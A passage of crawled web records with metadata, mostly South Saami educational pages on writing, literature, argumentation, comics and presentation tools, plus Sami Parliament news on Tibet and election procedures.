lyrihke, epihke jïh draama\/dramatihke. Dah eelkin tjaalegidie juekedh hammoej mietie antihke-aejkesne. Lyrihke vierse-boelhkh åtna, epihke lea soptsese, jïh dramatihke replihkh jïh scene-buerkiestimmieh åtna.\nJiehtege tjiehpies-lidteratuvre lea Frankrïjhken gïeleste lööneme, gusnie \"belles-lettres\" lea dïhte tjiehpies-lidteratuvre, dïhte sæjhta jiehtedh lidteratuvren ulmie lea lohkijasse estetihken dååjresem vedtedh.\nBaakoeh\n|Saemien||Daaroen|\n|ov-ryöktesth||indirekte|\n|saetniesvoete||virkelighet|\n|scene-buerkiestimmie||scenebeskrivelse|\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171145","date":"2019-04-22T15:01:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00506.warc.gz","language":"sma","language_score":0.999976635,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999976634979248}","num_words":158,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjel-saemien tjaaleldh histovrije jåhta dej beelijste spaenjie-guvvijste daaletjen normeradamme tjaaleldh gïelese. Daennie boelhkesne mijjieh edtjebe lïeredh guktie guvvieh leah bokstaavide tïjjen mietie evtiedamme jïh gåessie åarjel-saemien tjaaleldh gïelem normeradamme.\nDovletjisnie almetjh eelkin spaenjide tjaeledh jïh måaladidh, mij lij dej vuekie væhtajgujmie jallh guvviejgujmie govlesadtedh. Ibie raakte daejrieh gaajhkh bïevnesh spaenjie-guvviej jïh spaenjie-tjaalegi bïjre, men mijjieh maehtebe ennje daejtie vuejnedh jïh ussjedidh maam dovletje saemieh sïjhtin dejgujmie jiehtedh. Åarjel-saemien dajvesne gellie sijjieh gååvnesieh gusnie mijjieh maehtebe spaenjieguvvieh jïh spaenjietjaalegh vuejnedh, v.g. Fleetesne Sveerjen bielesne jïh Bølareinen, Snåasesne Nöörjen bielesne.\nGuvvijste jïh tjaeliemijstie dellie alfabeeten væhtah tïjjen mietie evtiedamme. Daan biejjien mijjieh åarjel-saemien gïelem tjaelebe latijnen bokstaavigujmie a – z . Lissine aaj golme bokstaavh nuhtjebe, dah leah æ, ö jïh å jïh diakritijen væhta ¨ mïrhke ï:esne. Dah voestes trygkesovveme tjaalegh åarjelsaemien-gïelesne böötin 1700-låhkosne. Dah lin religijovnen jïh kristelesvoeten bïjre. Daaletjen normeradamme tjaeleme-vuekie jaepien 1978 jååhkesjamme. Ennje mijjieh digkedeminie guktie edtjebe åarjel-saemien baakoeh tjaeledh jïh guktie edtjebe orre baakoeh tjaeledh, v.g lööneme-baakoeh guktie daaroen baakoe olje, edtjebe baakoem olje, ålja jallh åålja tjaeledh.\nTjaeleme-histovrijeKjernestoff\nÅarjel-saemien tjaeleme-histovrijeKjernestoff\nLaavenjassh spaenjie-tjaalegi bïjreKjernestoff\nLaavenjassh gievrien bïjreKjernestoff\nBokstaavhKjernestoff\nLaavenjassh: Sámien lukkeme-gärjáKjernestoff\nLaavenjassh: Lohkede saemien, 1974Kjernestoff\nLaavenjassh: Lohkede saemien 1993Kjernestoff\nLaavenjassh alfabeeti bïjreKjernestoff\nLaavenjasse: Biejjien ńiejdəKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:185190\/topic:1:188996","date":"2019-04-19T17:07:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00186.warc.gz","language":"sma","language_score":0.9999808073,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999808073043823}","num_words":195,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse argumentereles tjaalegh tjaelebe tjoerebe veanhtoeh, argumeenth jïh premissh utnedh. Daennie sæjrosne maahtah lïeredh mah veanhtoe, argumeente jïh premisse leah aktene tjaalegisnie.\nVeanhtoe\nDïhte guhte argumenterede aktem veanhtoem åtna, amma mïelem akten aamhtesen bïjre. Mijjen vuesiehtimmie-tjaalegisnie tjaelijen veanhtoe tjïelkelaakan vååjnesasse båata bijjie-baakosne: «Nihtieh kreeke-pryövenassh!»\nDaesnie linke tjaalegasse: Nihtieh kreeke-pryövenassh!\nArgumeente\nTjaelije sæjhta lohkijidie jaehkiehtidh daate veanhtoe lea reaktoe. Dellie argumeenth (buerkiestimmieh) daarpesje juktie sov veanhtoem voebnesjidh.\nMijjieh tjoerebe kreeke-pryövenassh nihtedh (veanhtoe)\n- dan åvteste kreekh njåvtasuvvieh jïh ibie dejtie tjaebpieslaakan gïetedh (argumeente)\n- dan åvteste pryövenassh eah daarpesjh vihties dotkeme-illedahkh vedtedh (argumeente)\nPremisse\nArgumentasjovnesne iktesth naan premissh. Akte premisse lea akte rïektese jallh akte bagkesimmie man bïjre tjaelije veanhta gaajhkesh leah sïemes, jïh maam satne ij daarpesjh veelebe buerkiestidh. Tjaalegisnie «Nihtieh kreeke-pryövenassh!» tjaelije bagkese.\n- pryövenasse-kreekh leah kreekh mah eah maehtieh jïjtjemsem vaarjelidh (premisse)\n- dah stööremes healsoe-dåeriesmoerh leah jieledevoete-skïemtjelassh (premisse)\nTjaelije aaj bagkese lohkije lea sïemes satnine jïh nuekies daajroeh åtna bagkesimmide vuarjasjidh. Ij naan statistihkeles rïektesigujmie jallh veelebe tjïelkestimmine båetieh.\nVielie premissen bïjre\nDïejvese \"premisse\" biejjieladtje soptsestimmesne nuhtjebe gosse mïelebe krïevenasse jallh våarome. Baakoe logihkeste båata jïh desnie faage-dïejvesinie åtnasåvva dan voestes bealan aktede logiske galhkuvistie.\nMijjieh aktem vuesiehtimmiem daesnie vuartasjibie: Gaajhkh paarre-taalh maehtebe gööktine juekedh (premisse)\nTaale gaektsie akte paarretaale. (premisse)\nTaale gaektsie maahta juakasovvedh gööktine. (konklusjovne)\nAarke-biejjien mïele jïh sjïere mïele naa hijvenlaakan gårreldahkesne, juktie premissh leah våarome konklusjovnese. Årroeh laejhtehks premisside! Vuesiehtimmesne bijjielisnie lea naa aelhkie gïehtjedidh mejtie premissh leah saetnies jallh ij. Men guktie vïenhth daan \"logiske\" galhkuven bïjre:\nDaaroeh leah aeblehts. (premisse)\nOla lea daaroe. (premisse)\nOla aeblehts. (konklusjovne)\nDaesnie ij gåaredh logihkem laejhtedh, men dïhte voestes premisse saetnies? Unnemes lea muevies, men halhta tjalhta daam premissem vihtiestidh. Jïh gosse premissh leah muevies jallh faelskies, dellie vaallah konklusjovne reaktoe sjædta. Læjhkan datne gujht dagkeres \"vihtiestimmieh\" naa daamtaj govleme. Mijjieh dejtie vaanesovmh gohtjebe aarkebiejjien gïelesne, jïh vååjnoe goh lea geerve dejtie nåhkelidh. Men dellie aaj vihkielåbpoe daejredh dah gååvnesieh.\nNille akte gierkie?\nMaehtebe vuejnedh aktem naa båajhtoeh konklusjovnem maam åejviealmetje Rasmus Berg åtna Ludvig Holbergen draamesne Erasmus Montanus. Dïhte raaktan tjidtjebem, Nille, akten gearkan dorje - naemhtie:\nGierkie ij maehtieh haeliehtidh. (premisse)\nNille ij maehtieh haeliehtidh. (premisse)\nNille akte gierkie. (konklusjovne)\nRasmus buektehte sov vaepiedodtje tjidtjebem nollelidh, men ij mijjem nollelh: dan åvteste jalhts gåabpegh premissh leah såemiesmearan saatnan, dellie voestes premisse ajve aktem onne bieliem saetniesvoeteste soptseste. Nov lea badth jienebh aath goh gierkieh mah eah maehtieh haeliehtidh, dej gaskem almetjh. Mijjen konklusjovne tjuara dannasinie buerebh sjïdtedh: Årroeh laejhtehks premisside!\nBaakoeh\nSaemien\nDaaroen\nbagkesimmie\npåstand\nveanhtoe\nstandpunkt\nvåarome\ngrunnlag\nlaejhteks\nkritisk\nArgumentasjovneKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/resource:1:172881","date":"2019-04-19T19:14:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527866.58\/warc\/CC-MAIN-20190419181127-20190419203127-00182.warc.gz","language":"sma","language_score":0.9999893904,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.99998939037323}","num_words":416,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærja-ållermaehteme akte persovneles vuarjasjimmie aktede gærjeste maam datne lohkeme, jïh bïhkedimmie dov lohkijasse. Goh ållermaehtije tjoerh ræhpas årrodh jïh vietseles vuajnoem dan gærjese utnedh maam edtjh ållermaehtedh.\nJoekehts ulmie-dåehkieh, joekehts hammoe\nÅllermaehtemh maehtieh joekehts hammoem utnedh: åenehke jallh guhkie, saakeles jallh luste. Goh ållermaehtije dov lea luhpie jïjtjedh væhtam teekstese bïejedh, men tjoerh krööhkedh mejtie edtja voenges plaeresne tjåadtjodh, lidteratuvre-tjaalegisnie jallh nedte-sæjrosne noeride.\nRaerieh gosse edtjh gærja-ållermaehtemem tjaeledh\nBijjie-baakoe\nÅllermaehtemen bijjie-baakoe (tihtele, nomme) edtja dov åejvie-vuajnoem gærjeste vedtedh: \"Hijven aalkoe-romaane\", jallh \"Nåake Gaarderistie\", jnv. Datne edtjh dallatjinie dov mïeline båetedh, jïh dan mænngan buerkiestidh jïh dov vuarjasjimmiem veelebelaakan tjïelkestidh.\nAalkoe\nVoestegh lohkije såemies maadth-bïevnesh gærjan bïjre daarpesje, nomme, tjaelije, sjangere, berteme jïh bæjhkoehtimmie-jaepie. Maahtah daejtie bïevnesidie aalkovisnie åehpiedehtedh, jallh dejtie akten sjïere faakta-burhtjen sïjse tjöönghkedh. Jis veeljh faakta-burhtjem nuhtjedh, dellie maahtah badth aelkedh guktie jïjtje sïjhth. Datne byörh aaj pryövedh gærjam akten stuerebe ektiedimmien sïjse bïejedh. Tjaelije vuesiehtimmien gaavhtan aaj jeatjah gærjah tjaaleme gusnie plearoeh teemaj bïjre tjaala? Gærjan teema sjyöhtehke daan beajjetje siebriedahkese jallh vihkeles?\nSoptsesh ånnetji sisvegistie men ih goh gaajhkem\nVihkielommes gyhtjelasse mïsse lohkije sæjhta vaestiedassem utnedh, lea man bïjre gærja. Soptsesth dov mïelem teeman bïjre gærjesne jïh soptsesth ånnetji dahkoste, men ih goh gaajhkem. Datne edtjh eeremasth lohkijen tjetskehkevoetem jïh lohkeme-lastoem gåaskodh.\nTjaelije-barkoe\nDatne byörh aaj ållermaehtiemisnie tjaeledh guktie tjaelije gïelem nuhtjie jïh mejtie buektehte gieltegsvoetem jïh ussjedammes almetje- jïh byjresh sjugniedidh.\nGalhkuve\nGalhkuve edtja åenehke årrodh. Dan sisnie konklusjovne maahta årrodh (mij tjuara akte-raeresne årrodh bijjie-baakojne jïh sisveginie). Maahtah aaj juvnehtimmine båetedh dov lohkijidie minngemosth.\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\n- Kjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:178736","date":"2019-04-22T15:04:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00304.warc.gz","language":"sma","language_score":0.9999886751,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999886751174927}","num_words":316,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tibet - 60 jaepieh ritneminie lea 60 jaepieh fer guhkie\nSaemiedigkiepresidente Aili Keskitalo jeahta satne tsiehkeste Tibetesne tjarke tjoeperde.\nNjoktjen 10.b. daan jaepien aktem 50 jaepien guhkies kinesiske ritnemem Tibeteste mïerhkesje, gusnie dïedtelgimmie dejstie vihkielommes almetjereaktijste akte biejjieladtje dååjrehtimmie orreme almetjidie Tibetesne. Tibetaanerh leah gymhpeme jïh annje sijjen almetjereaktaj jïh kultuvrelle vyörtegsvoeten, sijjen gïelen, sijjen histovrijen jïh religijovnen åvteste gæmhpoeminie. Tibetaanerh reaktan åvteste gæmhpoeh akten åvtetje aajkan, akten daan baalan jïh akten båetijen aajkan.\n–Åejvieladtjh Kineste tjuerieh dejnie tibetaanen reerenassine eksijlesne rååresjidh dejnie ulmine hoksedh Tibet tjïelke jïh sjïere jïjtjenænnoestimmiem åådtje, Aili Keskitalo jeahta.\nDalai Lama guessine mïnni Saepmesne rïhpestimmien mænngan Saemiedigkeste 30 jaepiej juassah. Dan gaavhtan dïhte aktem politihkeles jååhkesjimmiem Saemiedigkeste jïh saemien åålmegistie vedti.\n–Saemien åålmege aktem guhkies aerpievuekiem jïh åeliedimmiem åtna tjoevkesem bïejedh mubpiej åålmegi jïh nasjovni tseahkan mah dïedtelgimmien nuelesne læjjadieh jïh jielieh, Keskitalo jeahta.\nSaemiedigkiepresidente Nöörjem jïh jeatjah staath haasta govlesadtemem jåerhkedh almetjereaktaj jïh Tibeten bïjre. Dïhte dam gaskenasjonaale siebriedahkem haasta barkoem jåerhkedh guktie dïhte kinesiske ritneme jïh militariseradimmie Tibeteste orreje.\n–Ibie tjoerh gåessie gih tsiehkiem Tibetesne åajaldidh, jïh tjoerebe jåerhkedh tsiehkide tjïertestidh goske tibetaanerh leah rïektesvoetem åådtjeme, saemiedigkiepresidente minngemosth jeahta.\nTibet – 60 years of occupation is 60 years too long\nThe Sami president Aili Keskitalo expresses deep concern on the situation in Tibet. 10th of March, this year marks 60 years of Chinese occupation of Tibet. The oppression of fundamental human rights has been a never-ending experience for the Tibetan people in this period. Tibetans have fought and are still fighting for their human rights and cultural dignity, their language, history and religion. The Tibetan people are fighting for the right to a past, the right to a present and the right to a future.\n– The Chinese authorities must engage with the Tibetan Government in exile with the aim of guaranteeing Tibet genuine autonomy, says Aili Keskitalo.\nHH Dalai Lama visited Sápmi after the inauguration of the Sami Parliament 30 years ago and thus contributed to the political recognition of the Sami Parliament and the Sami people.\n– The Sami people has a long tradition and an obligation to highlight the situations for other peoples and nations that suffer and live under oppression, says Keskitalo.\nPresident Keskitalo calls upon Norway to keep up the dialogue on human rights and Tibet. She urges the international society to continue the efforts to end the Chinese occupation and militarization of Tibet.\n– We must never forget Tibet and we must remember to raise the issue until justice prevails for the Tibetans, says the Sami President.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Tibet-60-jaepieh-ritneminie-lea-60-jaepieh-fer-guhkie","date":"2019-04-24T18:47:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578655155.88\/warc\/CC-MAIN-20190424174425-20190424200425-00426.warc.gz","language":"sma","language_score":0.9917863607,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9917863607406616}","num_words":407,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljemen mænngan Saemiedigkie edtja veeljemeilledahkem jååhkesjidh jïh tjirkijidie joekedidh Saemiedigkien stoerretjåanghkoeståvrose, faagemoenehtsidie jïh jeatjah moenehtsidie mejtie Saemiedigkie lea tseegkeme. Rïhkeden\/golken 11.b. Saemiedigkien orre 4-jaepien bolhke rïhpeste.\nGosse veeljemeilledahke jïh luhpiedimmieh saemieveeljemeståvrojste gååvnesieh, ryöjreden luhpiedimmiemoenehtse edtja dejtie åvtelhbodti luhpiedimmide gïehtjedidh. Daate moenehtse veeljesovvi minngemes stoerretjåanghkosne. Goske luhpiedimmieh leah jååhkesjamme doh orre tjirkijh leah ajve annjebodts.\nGosse doh orre saemiedigkietjirkijh gaavnedieh rïhkeden\/golken 11.b., stoerretjåanghkoe konstituteradamme sjædta. Gosse tjirkijh sijjiem vaeltieh stoerretjåanghkoesavkesne, dellie tjahkasjieh sijjen veeljemegievlien mietie. Veeljemeilledahke nænnoste raaktan gusnie fïereguhte edtja tjahkasjidh. Jïjtsh sijjieh presidentese jïh raerielïhtsegidie.\nVeeljemegievlien voestes tjirkije luhpiedimmide buakta. Dan mænngan stoerretjåanghkoe luhpiedimmiemoenehtsem veeljie mij edtja dam minngemosth jååhkesjimmiem luhpiedimmijste darjodh. MInngeben biejjien stoerretjåanghkoe vihth gaavnesje jïh dellie Saemiedigkie dam minngemosth jååhkesjimmiem veeljemeilledahkeste dorje, jïh destie aaj tjirkijijstie. Dan mænngan stoerretjåanghkoe aalka barkedh jïh voestegh stoerretjåanghkoen ståvroem veeljie. Mænngan tjåanghkoeståvroe lea veeljesovveme, dah stuvremem vaeltieh Saemiedigkien stoerretjåanghkoste.\nDellie stoerretjåanghkoe Saemiedigkien presidentem veeljie, mij sov politihkeles bæjhkoehtimmiem buakta jïh raerielïhtsegidie nammohte. Presidente jïh raerielïhtsegh eah leah vielie stoerretjåanghkoetjirkijh jïh dej sæjjasadtjh stoerretjåanghkose tjaengieh.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Ryoejredimmieh-orre-saemiedigkieboelhkese","date":"2019-04-26T10:34:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578765115.93\/warc\/CC-MAIN-20190426093516-20190426115516-00226.warc.gz","language":"sma","language_score":0.9999879599,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999879598617554}","num_words":164,"character_repetition_ratio":0.136,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege gærjeste Muitalus sámiid birra maam Johan Turi tjaaleme. Tjaalegisnie åadtjoeh lohkedh guktie maanam sujhtedh.\nGosse maana verries reakasovveme dle dam jeavardahken sïjse klååmsede. Edtja maanam bïssedh gulmh fïerhten biejjien dej golme voestes biejjiej. Dan mænngan göökth biejjege. Dïhte aadtjen reakadamme maana åådtje jïrremem njammedh, jis tjidtjebe ij mielhkiem utnieh. Tjidtjebe ij edtjh aelkedh maanam sujhtedh jïh njammehtidh dan varke baersieldimmien mænngan, juktie dïhte skïemtjine sjædta.\nMaanam njåatsoestahta jïh gïerhkemen sïjse bïejesåvva. Desnie gællesje biejjieh jïjjh, fealadimmesne jïh gosse juhtieminie, giesege jïh daelvege. Gïerhkemasse aktem sïlpe-båalam dibrehte, olles dah jåartan-nåelien almetjh saemiej verries maanide sijjen skïemtjine maanajgujmie låtnoeh. Jis saemieh vueptiestieh dah aktem låtnojem gïerhkemisnie utnieh, dle edtjieh låtnojem buelije gasngesinie slåavedh. Dellie dah jåartan-nåelien almetjh sijhtieh almetje-maanam bååstede buektedh, jïh sijjen jïjtse maanam meatan vaeltedh. Jis almetjh eah låtnojem naa varki vueptesth, dle tjuerieh dam skïemtje saajve-maanam utniehtidh.\nSaemieh ovmessie råållah siebriedahkesne utnieh. Dïhte bijjemes lea aehtjien, mubpie tjidtjien. Dan mænngan trïengken sijjie, dle sjovne jïh minngemosth maanah. Dïhte båarasommes maana moere-tjoehpije, dïhte mubpie dålle-naestije. Gåalmede maana gadtje-ravve. Njealjede maana tjidtjien fuerege jïh vïjhtede maana aehtjeben fuerege.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\n- Kjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190670","date":"2019-04-22T15:00:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00448.warc.gz","language":"sma","language_score":0.9998965263,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998965263366699}","num_words":246,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dovne taavla jïh åehpiedehteme-dïrregh daatovrisnie, vuesiehtimmien gaavhtan PowerPoint, maehtieh hijven viehkie-vierhtine årrodh aktene åehpiedehtiemisnie. Datne maahtah tjaalegh jïh guvvieh nuhtjedh mah dåarjojne sjædta dïsse maam jeahtah.\nTaavla\nTaavlesne maahta tsiehkie-baakoeh tjaeliestidh mearan håaleminie. Dïhte aaj dutnjien nuepiem vadta faahketji maam akt hæhtadidh, jïh vuajnoeh goltelæjjijste bæjjese vaeltedh. Men geehth ollh datne tjåadtjoen sjïdth rudtjine goltelæjjaj vööste mearan taavlesne tjaalah. Dellie maahta gïerve sjïdtedh goltelæjjide guarkedh maam jeahtah. Jïh tjaelieh ajve tsiehkie-baakoeh ollh dan guhkiem tjaelieh, dellie goltelæjjah konsentrasjovnem dessieh.\nPowerPoint jïh jeatjah åehpiedehteme-dïrregh\nBaakoeh mah tjaalasuvvieh edtjieh tjïelke jïh nuekies stoerre årrodh, tjaeleme-klaerieh eeremasth mïrhke jïh duekie tjoevkes. Åtnoe klaerijste, guvvijste, tjoejeste, videove-stuhtjetjijstie j.n.v dutnjien jïjnjh nuepieh vadta åehpiedehtemem jeereldihkie jïh friskebe darjodh, men mujhtieh fïerhte tjoevke-guvvie edtja tjïelke dïjrem utnedh, jïh viehkie-vierhtieh edtjieh daam dïjrem tjïertestidh. Nuhtjh tsiehkie-baakoeh sijjeste raajesh. Dellie goltelæjjah aelhkebe bijjie-guvviem åadtjoeh tjoevke-guvvijste mejtie åehpiedahtah, men ellen vihkielommes tsiehkie-baakoeh raaktan leah doh tsegkieh mah datnem jïh goltelæjjide viehkiehtieh buerebelaakan mujhtedh.\nDaajrah......\n• doh viehkie-vierhtieh mej aadtjen bïjre lohkeme, gohtjesuvvieh audiovisuelle viehkie-vierhtieh? Baakoe audiovisuell lea tjåanghkan bïejesovveme baakoste \"audio\" (latijne jïh sæjhta jiehtedh \"manne govlem\") jïh visuell (latijne mij lea vuejnemen bïjre\"). Audiovisuelle viehkie-vierhtieh dov dïjrem nænnoestehtieh viehkine tjoejeste jïh guvvijste. Jeatjah audiovisuelle viehkie-vierhtieh leah vuesiehtimmien gaavhtan cd-spïelije, videove-filme jïh tjoevke-guvvieh.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181865\/topic:1:181665\/resource:1:181834","date":"2019-04-22T15:17:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00098.warc.gz","language":"sma","language_score":0.9999804497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999804496765137}","num_words":203,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guvvie-raajroe akte sjangere gusnie dovne guvvieh jïh teekstem nuhtjebe juktie vaajesem soptsestidh. Gååvnese aaj naan gille guvvie-raajroeh gusnie ajve guvvieh.\nGuvvie-raajroe\nGuvvie-raajroe lea jïjtjemse evtiedamme jeatjah meedije-sjangerigujmie goh filme jïh TV. Nöörjesne jienebh åehpies jïh væjkeles seerije-sjugniedæjjah utnebe, mah aaj åadtjoeh sijjen guvvie-raajroeh ålkoe-laantesne bæjhkoehtidh. Frode Øverli (Pondus) jïh Lise Myhre (Nemi) leah göökte dejstie. Mijjieh aaj seerije-sjugniedæjjah utnebe mah saemien byjrehkistie guvviedieh goh Ronardo jnv.\nViehkie-dïrregh\nDatne maahtah daejtie viehkie-dïrregi bïjre lohkedh mah guvvie-raajrojne nuhtjeme:\n- Ruvtah\n- Boblah jïh effekte-tjoejh\n- Guvvie-biehkie\n- Guvvie-haerie\n- Subjektijve guvvie\n- Åvte jïh duekie\n- Stuerebh baakoeh\nGuvvie-raajroeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175143\/topic:1:175146\/resource:1:172761","date":"2019-04-19T17:17:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00254.warc.gz","language":"sma","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999885559082031}","num_words":90,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guvvie-raajrosne ruvtah maehtieh ovmessie hammoeh utnedh, goh gamtoe-hammoe (gællan hammoe) jïh jalloe-haamoe (tjåadtjoen-hammoe).\nGamtoe-hammoe jïh jalloe-hammoe\nAktene guvvie-raajrosne ruvtah maehtieh ovmessie hammoeh utnedh. Gamtoe-hammoe (gællan hammoe) uvtemes åtnasåvva gosse edtja jïjnjem vuesiehtidh ruvtine. Daate hammoe sjeahta gosse edtja eatnemem, byjresh jïh stuerebh almetje-veahkah vuesiehtidh. Jalloe-hammoe (tjåadtjoen hammoe) ij dan jïjnjem guvvesne utnieh.\nJeatjah hammoeh\nJeatjah hammoeh åtnasuvvieh gosse sæjhta sisvegem veaksahkåbpoe darjodh, naemhtie guktie lea dorjeme biehkesne seerijistie Batman. Ruvta-hammoe jïjtjemse dahkose sjïehtede.\nDaesnie golme guvvieh ruvtesne mah vuesiehtieh gie akt gahtja jïh akte beerkeme-aksjovne elmesne. Guvvieh edtjieh tjïelkelaakan vuesiehtidh gaajhke spaajhte jïh våålese deavan vööste heannede.\nDovne doh vealoeh linjah mah guvviem juekieh, jïh mennie haeresne guvvieh lohkesuvvieh - guvvieh lohkesuvvieh bijjielistie jïh våålese - lohkijem viehkiehtieh gahtjemem dååjredh.\nJienebh ruvtah sinsitnien nelnie\nRuvtah eah daarpesjh sinsitnien baalte tjåadtjodh. Muvhten aejkien vaajese soptsesåvva viehkine ruvtijste mah leah jeatjah guvviej bijjelen.\nStuhtjesne Miracleman 